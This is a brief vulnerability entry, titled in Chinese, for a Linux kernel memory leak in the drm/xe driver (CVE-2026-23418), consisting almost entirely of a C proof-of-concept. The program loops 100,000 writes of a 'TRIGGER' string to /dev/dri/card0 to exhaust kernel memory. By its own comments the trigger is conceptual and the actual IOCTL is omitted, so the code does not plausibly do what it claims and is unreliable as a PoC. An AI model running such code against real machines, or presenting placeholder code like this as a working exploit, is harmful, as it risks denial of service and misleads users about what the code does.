CVE-2026-23418 Linux内核内存泄漏漏洞

/* * PoC for CVE-2026-23418: Memory Leak in drm/xe/reg_sr * This code attempts to trigger the memory leak by repeatedly * interacting with the xe device driver. * Compile: gcc -o poc_leak poc_leak.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #define DEVICE_PATH "/dev/dri/card0" int main() { int fd; fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Starting PoC to trigger memory leak...\n"); // Loop to exhaust memory via the leak path for (int i = 0; i < 100000; i++) { // Conceptual trigger: repeated calls that may fail xa_store internally // Specific IOCTL implementation omitted for brevity write(fd, "TRIGGER", 7); } close(fd); printf("PoC execution completed. Check kernel memory usage.\n"); return 0; }